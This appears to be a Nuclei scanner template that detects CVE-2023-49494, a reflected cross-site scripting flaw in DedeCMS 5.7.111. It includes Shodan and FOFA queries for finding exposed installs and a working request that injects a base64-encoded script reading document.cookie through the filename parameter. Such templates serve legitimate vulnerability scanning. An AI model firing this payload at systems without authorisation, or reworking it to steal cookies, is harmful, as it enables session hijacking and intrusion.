id: CVE-2023-49494

info:
  name: DedeCMS v5.7.111 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/Hebing123/cve/issues/3
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49494
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49494
    cwe-id: CWE-79
    epss-score: 0.024
    epss-percentile: 0.85271
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.111:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"DedeCms"
    fofa-query: app="DedeCMS"
  tags: cve,cve2023,dedecms,xss,vuln

http:
  - raw:
      - |
        GET /uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data":{"url":'
          - '<input onfocus=eval(atob(this.id)) id='
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f6a2c49be01af379988fffdd3382c1a1092f3bac6228dabb40f8db93d8896ef0022100ca10577c92818d178e5e87309032ff702ba2fd838cf940308a2cd3ddecbcaca5:922c64590222798bb761d5b6d8e72950